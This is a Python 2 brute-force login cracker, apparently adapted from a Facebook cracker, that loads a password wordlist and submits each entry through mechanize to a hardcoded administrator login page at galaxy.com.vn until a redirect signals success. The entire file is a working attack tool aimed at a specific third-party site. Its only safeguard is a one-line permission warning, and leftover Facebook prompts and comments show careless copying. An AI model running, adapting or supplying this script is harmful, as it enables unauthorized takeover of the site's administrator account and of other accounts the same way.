galaxy.py

#!usr/bin/python

import sys
import random
import mechanize
import cookielib


GHT = '''
    /\  _  /\___       /\___/\_____ /\___ __
   /  \/ \/  __/QQ  /\/  __/  __/__/  __//_/
   \   \  \ _/ /\  /  \ _/ \_  \|  \_  \
   / \   .// _/  \/ _  \  _  \  \  | \  \
_ /  /\ // \/ \ \  /  ./\/ \\/ ./  |\/ ./
\\\_/  \/\__ //\/\/\ //\___/_ //|__|_ //
 -=Presents=\/======\/=======\/======\/=-
'''
print "Warning - do not use this tool without the permission of the Facebook account holder"
print "Hit CTRL+C to quit the program"

modlgn_username = str(raw_input("Enter the Facebook modlgn_username account you want to crack : "))
modlgn_passwdwordlist = str(raw_input("Enter the name of the modlgn_passwdword list file : "))

useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]



login = 'http://galaxy.com.vn/administrator/index.php'
def attack(modlgn_passwdword):

  try:
     sys.stdout.write("\r[*] trying %s.. " % modlgn_passwdword)
     sys.stdout.flush()
     br.addheaders = [('User-agent', random.choice(useragents))]
     site = br.open(login)
     br.select_form(nr=0)


     ##Facebook
     br.form['modlgn_username'] =modlgn_username
     br.form['modlgn_passwd'] = modlgn_passwdword
     br.submit()
     log = br.geturl()
     if log != login:
        print "\n\n\n [*] modlgn_passwdword found .. !!"
        print "\n [*] modlgn_passwdword : %s\n" % (modlgn_passwdword)
        sys.exit(1)
  except KeyboardInterrupt:
        print "\n[*] Exiting program .. "
        sys.exit(1)

def search():
    global modlgn_passwdword
    for modlgn_passwdword in modlgn_passwdwords:
        attack(modlgn_passwdword.replace("\n",""))



def check():

    global br
    global modlgn_passwdwords
    try:
       br = mechanize.Browser()
       cj = cookielib.LWPCookieJar()
       br.set_handle_robots(False)
       br.set_handle_equiv(True)
       br.set_handle_referer(True)
       br.set_handle_redirect(True)
       br.set_cookiejar(cj)
       br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
    except KeyboardInterrupt:
       print "\n[*] Exiting program ..\n"
       sys.exit(1)
    try:
       list = open(modlgn_passwdwordlist, "r")
       modlgn_passwdwords = list.readlines()
       k = 0
       while k < len(modlgn_passwdwords):
          modlgn_passwdwords[k] = modlgn_passwdwords[k].strip()
          k += 1
    except IOError:
        print "\n [*] Error: check your modlgn_passwdword list path \n"
        sys.exit(1)
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)
    try:
        print GHT
        print " [*] modlgn_username to crack : %s" % (modlgn_username)
        print " [*] Loaded :" , len(modlgn_passwdwords), "modlgn_passwdwords"
        print " [*] Cracking, please wait ..."
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)
    try:
        search()
        attack(modlgn_passwdword)
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)

if __name__ == '__main__':
    check()